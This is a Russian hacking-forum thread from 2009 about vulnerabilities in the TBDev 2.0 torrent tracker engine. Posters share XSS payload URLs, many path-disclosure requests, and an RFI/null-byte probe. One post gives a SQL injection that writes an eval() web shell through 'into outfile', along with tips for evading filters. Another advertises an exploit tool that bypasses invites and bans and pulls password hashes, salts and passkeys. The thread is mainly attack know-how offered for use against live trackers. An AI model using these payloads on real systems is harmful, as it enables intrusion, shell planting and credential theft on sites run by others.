ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Трекер-движок TBDev 2.0 (https://forum.antichat.xyz/showthread.php?t=79705)

Qwazar 14.08.2009 15:43

Цитата:

Сообщение от Kpeamop
где ты данные видел учетки или ящика или еще чего-то со спец символами? они все в основном идут в латинице и цифры, поэтому метод катит на 95%

Угу, в данном конкретно файле, этот вариант сработает, но неизвестно что там будет в будущем, т.е. как вариант добавят поле в котором забудут поставить "" и т.п. А предложенный тобой вариант создаст иллюзию безопасности.

З.Ы.
В качестве хотфикса конечно покатит, но разработчику я бы посоветовал разобраться с каждым передаваемым параметром основательно.

Kpeamop 14.08.2009 17:18

Цитата:

Сообщение от Qwazar
Угу, в данном конкретно файле, этот вариант сработает, но неизвестно что там будет в будущем, т.е. как вариант добавят поле в котором забудут поставить "" и т.п. А предложенный тобой вариант создаст иллюзию безопасности.

З.Ы.
В качестве хотфикса конечно покатит, но разработчику я бы посоветовал разобраться с каждым передаваемым параметром основательно.

Во 1х: каждый символ " заменится на мнемонику хтмл &quote;, поэтому дублировать его нет нужды, при выводе XSS не будет.

Во 2х: я говорил и повторюсь работать не будет только с подобным спец. символами, т.к. при запросах к бд, в бд будет " а слаться на выборку будет &quote; естественно совпадений не будет, на это я и оставил 5% не удобности данного метода.

ЗЫ: уже 1.5 года в эксплуатации данный метод, хоть бы кто-то пожаловался что их не устраивает.

ЗЫЫ: юна учи хтмл и пхп, чтоб не делать таких ошибок в скриптах, а лучше пиши свои и не юзай чужие.

Qwazar 14.08.2009 17:31

Цитата:

Сообщение от Kpeamop
ЗЫ: уже 1.5 года в эксплуатации данный метод, хоть бы кто-то пожаловался что их не устраивает.

Пример кода, на котором такой метод не сработает:
PHP код:

<?php
 
foreach($_GET as $k=>$v)
 {
  
$_GET[$k]=htmlspecialchars($v);
 }

 echo 
"<table name=".$_GET['a']."><tr><td>test</td></tr></table>";
?>

Пример использования:
Код:

http://localhost/1.php.zzz?a=1%20onMouseOver=alert(/aaa/)

Kpeamop 14.08.2009 17:40

Цитата:

Сообщение от Qwazar
Пример кода, на котором такой метод не сработает:
PHP код:

<?php
 
foreach($_GET as $k=>$v)
 {
  
$_GET[$k]=htmlspecialchars($v);
 }

 echo 
"<table name=".$_GET['a']."><tr><td>test</td></tr></table>";
?>

Пример использования:
Код:

http://localhost/1.php.zzz?a=1%20onMouseOver=alert(/aaa/)

насколько я помню речь шла не о каком-то коде взятом из головы, а именно из usersearch.php, а там все в ""

пример:
PHP код:

value="<?=$_GET?>"

поэтому будет не так :
Код:

<table name=1 onMouseOver=alert(/aaa/)><tr><td>test</td></tr></table>
а так:
Код:

<table name="1 onMouseOver=alert(/aaa/)"><tr><td>test</td></tr></table>
и я не соглашусь с тобой, что этот код вреден.

Qwazar 14.08.2009 17:43

Kpeamop, я и написал что как хот-фикс он подойдёт, для конкретно этого файла. Но если в нём что нибудь поменяют, этот код может перестать защищать. И само собой, в общем случае, на такой код полагаться нельзя.

З.Ы.
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.

Kpeamop 14.08.2009 17:47

Цитата:

Сообщение от Qwazar
И само собой, в общем случае, на такой код полагаться нельзя.

З.Ы.
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.

без кавычек - не спорю, а так вполне достаточно надежный.

Yuna 14.08.2009 21:39

Цитата:

без кавычек - не спорю
+
Цитата:

К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.
->
не эффективно

два - у тебя хрень такая - name="something[]" и так несколько чекбоксов - на выходе этого МАССИВА НЕ БУДЕТ

Kpeamop 15.08.2009 01:30

2 Yuna, *scratch* ты это, с кем говорил?

Stinside 15.08.2009 13:02

Цитата:

name="something[]"
Давно уже не работает вообще-то.

Yuna 16.08.2009 01:35

что давно не работает? вы хоть понимаете зачем нужна такая конструкция? или смысл моего поста

ZonD80 21.08.2009 15:23

Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.

Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z

Qwazar 21.08.2009 20:16

Цитата:

Сообщение от ZonD80
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.

Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z

Для таких обращений есть специальный раздел :)

Тут выкладывают то что сами нашли.

HAXTA4OK 22.08.2009 00:45

КЫСС (XSS)
PHP код:

<form action="<?=$PHP_SELF;?>" method="get" name="form1">

http://127.0.0.1/treker/formats.php/%22%3E%3Cscript%3Ealert(/hi/);%3C/script%3E

Dflbv 24.08.2009 11:51

что можно сделать если есть доступ к директорскому аку но нету доступа к админке (к блокам) как можно шелл залить?

ILYAtirtir 24.08.2009 16:49

Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
Код:

'+union+select+'<? eval($a); ?>'+into+otfile+'C:/blablabla/1.php'/*
Вместо eval можно окно для загрузки,кто-то выкладывал вроде.
Вместо blablabla пишешь путь который тебе нужен,взять можно из ошибки. Например
Цитата:

http://site.ru/torrent/details.php?id[]=11111
Или в начале темы там выкладывали раскрытия путей.
У меня было один раз что "+" не катил,заменял на /**/.Так же если комментарий "/*" не катит,заменяй на -- или #

Yuna 24.08.2009 21:07

Цитата:

Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
этот баг закрыт ваще-то уже...

ZonD80, а ты че? :) делай тему =))) может я еще не все знаю? :)

HAXTA4OK 26.08.2009 23:29

тема тухнет ,вроде небыло этого раскрытия путей )))

http://127.0.0.1/treker/log.php?type[]=

http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2

http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0

какие баян напишите плиз =) а то все 21 страниц заново смареть лень :confused:

vano793 27.08.2009 11:51

Цитата:

Сообщение от HAXTA4OK
тема тухнет ,вроде небыло этого раскрытия путей )))

http://127.0.0.1/treker/log.php?type[]=

http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2

http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0

какие баян напишите плиз =) а то все 21 страниц заново смареть лень :confused:


Вот эта и на Kinokpk.com releaser
PHP код:

http://127.0.0.1/treker/log.php?type[]= 


Dflbv 11.09.2009 11:10

раскрытие путей
/testip.php?ip=>

Yuna 15.09.2009 15:18

С форумом простились, аминь!

Мелкие пакости правки, и прочее прочее прочее:

1. Переведены языковые файлики на ArrayAccess.
2. Блокировка скрипта если включен regsiter_globals или не забитыми всяким хламом переменными
3. Привязка кукисов к подсети 255.255.0.0
4. Еще всякие мелочки, кому надо - diff в помощь

http://bit-torrent.kiev.ua/downloads.php?do=file&id=25

m0Hze 28.09.2009 13:32

Собственно,понятия не имею было,или небыло,но когда рылся в коде дивжка,для самообразования,нашол:
PHP код:

http://target.com/rss.php?feed=dl&cat=31&passkey[]= 

Раскрытие путей.

m0Hze 28.09.2009 13:36

И еще,незнаю будет ли работать гдето еще,ибо нет желания тестировать,но трекеры в моей локальной сети точно подвержены:
PHP код:

http://good73.net/getrss.php 

При нажатии сабмита имеем POST данные:
PHP код:

cat%5B%5D=22&cat%5B%5D=20&cat%5B%5D=12&feed=web&login=passkey 

Так вот,если просто повторить запрос,использовав при этом urlencode()(как в примере),получим раскрытие путей:
PHP код:

Warningimplode() [function.implode]: Invalid arguments passed in /usr/local/www/target.com/getrss.php on line 56 


m0Hze 28.09.2009 13:42

Извиняюсь что в несколько постов,просто в данный момент пишу с нетбука,который очень меня напрягает.
Все знают,про такую кнопку как "Спасибо",так вот,сабмитим ее,и имеем POST-данные вида:
PHP код:

torrentid=33042&ajax=yes 

Создаем в качестве ajax,массив,с темже именем,то есть:
PHP код:

torrentid=33042&ajax[]=yes 

Меня выкидывало на ошибку MySQL.Незнаю,возможно есть шанс раскрутить в скулю,но я в этом не силен.Это я оставлю на ваш тест :)

Yuna 29.09.2009 11:00

Цитата:

Создаем в качестве ajax,массив,с темже именем,то есть:
$ajax = (string) $_POST["ajax"];
а ошибка ибо уникальные индексы

Gray_Wolf 29.09.2009 11:06

Цитата:

Сообщение от HAXTA4OK
по моему тут все равно есть баги

Но в паблик их врядли станут выкладывать :)

HAXTA4OK 29.09.2009 11:22

Ну лан спалю одын приват =) на те старые версии
куча LFI & RFI =) мб и не приват

к примеру файл recover.php

PHP код:

require "include/bittorrent.php";

dbconn();

if (
$_SERVER["REQUEST_METHOD"] == "POST")


подгружает файлик bittorrent.php а в нем

PHP код:

if (empty($rootpath))
    
$rootpath ROOT_PATH;
require_once(
$rootpath 'include/core.php');
?> 

если прочесть его, то по смыслу ,если $rootpath не пустой ,тогда такой $rootpath = ROOT_PATH; замены не будет; и значит - уязвим :) надеюсь я правильно его прочел))

При REGISTER_globals = on и MQ= off

http://127.0.0.1/treker/recover.php?rootpath='%00

Warning: require_once(') [function.require-once]: failed to open stream: No such file or directory in C:\xampp\htdocs\treker\include\bittorrent.php on line 57


файлы имеющие такую особенность :
faq.php
recover.php
bookmarks.php
rules.php
download.php
....по моему почти все =\

Раскрытие путей :

так как mysql_real_escape_string
PHP код:

function sqlesc($value) {
    
// Stripslashes
   /*if (get_magic_quotes_gpc()) {
       $value = stripslashes($value);
   }*/
   // Quote if not a number or a numeric string
   
if (!is_numeric($value)) {
       
$value "'" mysql_real_escape_string($value) . "'";
   }
   return 
$value;


captcha.php?imagehash[]=

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in C:\xampp\htdocs\treker\include\functions.php on line 462

гуглом поискал не нашел))
еще раскрытие путей
PHP код:

$pic htmlspecialchars($_GET["pic"]);

stdhead("Просмотр картинки");
print(
"<h1>$pic</h1>\n");
print(
"<p align=center><img src=\"torrents/images/$pic\"></p>\n");
?> 

viewimage.php?pic[]=

Yuna 29.09.2009 16:04

для меня это как два года боян, два - я указываю что отключайте регистер глобалс, не отключили - их личные проблемы ;)

Rostov114 02.10.2009 15:36

:D Что же подольем немного масла. Слоит v3.3.

На данный момент он умеет обходить:
  • Коды регистрации
  • Запросы инвайтов
  • Бан по IP

Совершает атаки через:
  • ./rss.php (слепая SQL, ибо запись файла не айс)
  • ./requests.php
  • ./takesignup.php
  • ./check_signup.php
  • ./viewoffers.php
  • ./sendbonus.php
  • ./bonuscode.php
  • Форум

Также имеет 2 способа работы:
  • Multi mode - атака по всем файлам, в том числе авторигистрация.
  • Login exploit mode - работает только с логином и пассом.

Добавлено и доработано:
  • Получение всех IP адресов сайта и подключение
  • Если не верно указан хост то сплоит и не начнет работу.
  • Получение: соли, пассхеша, пасскея и инфы привязан ли пасскей к IP
  • Если в конце адреса трекера не был указан слеш, то теперь сплоит с ума не сходит
  • Вывод каким методом сплоит будет атаковать (чисто для информации)

В данный релиз не вошло следующие веши и также были удалены
  • Генерация приятных уху никнеймов
  • Удалена атака через rss.php - file record

В связи с тем что форум не захотел отобразить не маленький сплоит. Пришлось его загрузить на отдельный сервер. Взять его можете здесь

Если по каким то причинам данный скрипт у вас не запускается, виноваты вы. Он рабочий, проверялся на оригинальном TBDev 2.0.

Внимание: Данная программа выложена здесь для ознакомления.
Автор не несёт ответственности за негативные последствия, причинённые данной программой в результате правильного или неправильного её использования.
Также автор не несет ответственности за причерченный вред кому либо данной программой.


;) Чтож, прикрываем оперативно дырки.

Yuna 02.10.2009 20:05

sendbonus, bonuscode?????? WTF?

Как вы поясните собираетесь обходить $b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));?

Даже если оба 0000000 и 0 - строчек-то тоже 0!

Rostov114 02.10.2009 23:14

Цитата:

Сообщение от Yuna
sendbonus, bonuscode?????? WTF?

Как вы поясните собираетесь обходить $b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));?

Даже если оба 0000000 и 0 - строчек-то тоже 0!

Да. Если включен error_reporting. То вывалиться ошибка, по которой уже можно судить, тому ли равна данная позиция или нет.

Хм... ну у нас выходит запрос вида:
Код:

SELECT COUNT(*) FROM captcha WHERE imagehash = 'принятый_imagehash' AND imagestring = 0
:) Чесно не вникал как MySQL обрабатывает данный запрос, но по моему он хватает только 1й параметр а т.к. второй 0 отбрасывает.
Кстати, бага такого же вида и на инвайтах. Есть ведь супер инвайт в 32 нуля...и работает ведь.

Yuna 03.10.2009 00:20

Цитата:

Кстати, бага такого же вида и на инвайтах. Есть ведь супер инвайт в 32 нуля...и работает ведь.
ну не работет ведь блин! :) проверь =))) tracker.hdclub.com.ua uniongang.ru

Цитата:

Чесно не вникал как MySQL обрабатывает данный запрос, но по моему он хватает только 1й параметр а т.к. второй 0 отбрасывает.
фулл бред, зачем тогда придумывали SQL?

Rostov114 03.10.2009 22:50

Цитата:

Сообщение от Yuna
ну не работет ведь блин! :) проверь =))) tracker.hdclub.com.ua uniongang.ru


фулл бред, зачем тогда придумывали SQL?

1. Не работает, согласен, если в SQL запросе не стоит '', то тогда да облом.
2. Я же говорил, я не вникал как MySQL обрабатывает данный запрос.

Yuna 04.10.2009 00:16

А то что твои "обходники" НЕ РАБОТАЮТ!

Rostov114 04.10.2009 05:38

Цитата:

Сообщение от Yuna
А то что твои "обходники" НЕ РАБОТАЮТ!

:) Ну у меня в локалке работают на ура.
Только там большинство стоит на Windows и сервером является TopServer.

Yuna 04.10.2009 13:45

Видимо у них или очень старая версия, или что-то еще хуже =))

Два - ты не знал что если открыта рега но включена инвайтная рега - тебя будет просить ввести инвайт но если введеш на него забьет? ;)

Так-что проверь еще раз ;)

Rostov114 04.10.2009 15:08

Цитата:

Сообщение от Yuna
Видимо у них или очень старая версия, или что-то еще хуже =))

Два - ты не знал что если открыта рега но включена инвайтная рега - тебя будет просить ввести инвайт но если введеш на него забьет? ;)

Так-что проверь еще раз ;)

TBDev.18.05.07.zip (2,49 MB) :) У нас в основном такая древность стоит.

Yuna 04.10.2009 17:50

Цитата:

TBDev.18.05.07.zip (2,49 MB) У нас в основном такая древность стоит.
а на свежестях? :)

X_Hunter 04.10.2009 18:07

Хотел запустить сплойт на 3 разных пхп - везде одна и таже ошибка:
PHP Fatal error: Call to undefined function dns_get_record() in C:\sql.php on line 448

Rostov114 04.10.2009 18:59

Цитата:

Сообщение от X_Hunter
Хотел запустить сплойт на 3 разных пхп - везде одна и таже ошибка:
PHP Fatal error: Call to undefined function dns_get_record() in C:\sql.php on line 448

:) Не поддерживается значит в PHP работа с DNS.
Цитата:

Сообщение от Yuna
а на свежестях? :)

:) Последнюю, согласен не прошибает.
И вообще давай жить дружно ^_^.

P.S. Кстати, а форум phpBB 3.0 прикрутить нельзя что ли?

foot 05.10.2009 02:53

:) Не поддерживается значит в PHP работа с DNS.

Уважаемый Rostov114 Есть ли другие варианты??? :confused: :confused: :confused:


Время: 13:42